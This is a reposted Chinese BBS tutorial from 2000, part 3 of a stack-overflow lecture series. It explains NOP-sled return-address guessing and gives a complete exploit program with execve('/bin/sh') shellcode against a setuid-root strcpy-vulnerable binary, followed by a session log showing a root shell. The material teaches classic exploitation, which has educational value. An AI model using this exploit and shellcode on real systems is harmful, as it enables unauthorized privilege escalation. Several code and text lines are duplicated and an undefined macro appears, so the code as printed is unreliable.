荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: playboy (冷冷的太阳), 信区: Program
标  题: [转载]堆栈溢出系列讲座(3)
发信站: BBS 荔园晨风站 (Wed Feb 23 13:16:14 2000), 转信

【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: ipxodi (乐乐), 信区: Security
标  题: 堆栈溢出系列讲座(3)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:58 2000), 转信

堆栈溢出系列讲座
                利用堆栈溢出获得shell

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
strcpy
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
开始地
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
shellcode,从而我们得到了一个shell。

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
事:
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。


为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
的地址。
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
始地址
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
序堆栈
的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
寄存器
里面):
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------
------

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
几K
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。


前面我们用来覆盖堆栈的溢出字符串为:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在,为了提高命中率,我们对他进行如下改进:
用来溢出的字符串变为:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
 S.
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>

#define OFFSET                            0
#define RET_POSITION                   1024
#define RANGE                            20
#define NOP                            0x90

char shellcode[]=
        "\xeb\x1f"                      /* jmp 0x1f              */
        "\x5e"                          /* popl %esi             */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xd8"                      /* movl %ebx,%eax        */
        "\x40"                          /* inc %eax              */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
        "/bin/sh";                      /* .string \"/bin/sh\"   */

unsigned long get_sp(void)
{
        __asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
        char buff[RET_POSITION+RANGE+1],*ptr;
        long addr;
        unsigned long sp;
        int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
        int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
        int i;

        if(argc>1)
                offset=atoi(argv[1]);

        sp=get_sp();
        addr=sp-offset;

        for(i=0;i<bsize;i+=4)
                *((long *)&(buff[i]))=addr;

        for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
                buff[i]=NOP;

        ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
        for(i=0;i<strlen(shellcode);i++)
                *(ptr++)=shellcode[i];
        buff[bsize-1]='\0';
                        //现在buff的内容为
                        //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0

        printf("Jump to 0x%08x\n",addr);
        printf("Jump to 0x%08x\n",addr);

        execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
作为./vulnerable1的参数提供。
以下是执行的结果:
------------------------------------------------------------------------
----
[nkl10]$  ls -l vulnerable1
-rwsr-xr-x   1 root     root         xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x   1 ipxodi   cinip        xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----
------------------------------------------------------------------------
----
恭喜,恭喜,你获得了root shell。

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。


--
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.112.101.131]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.90]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店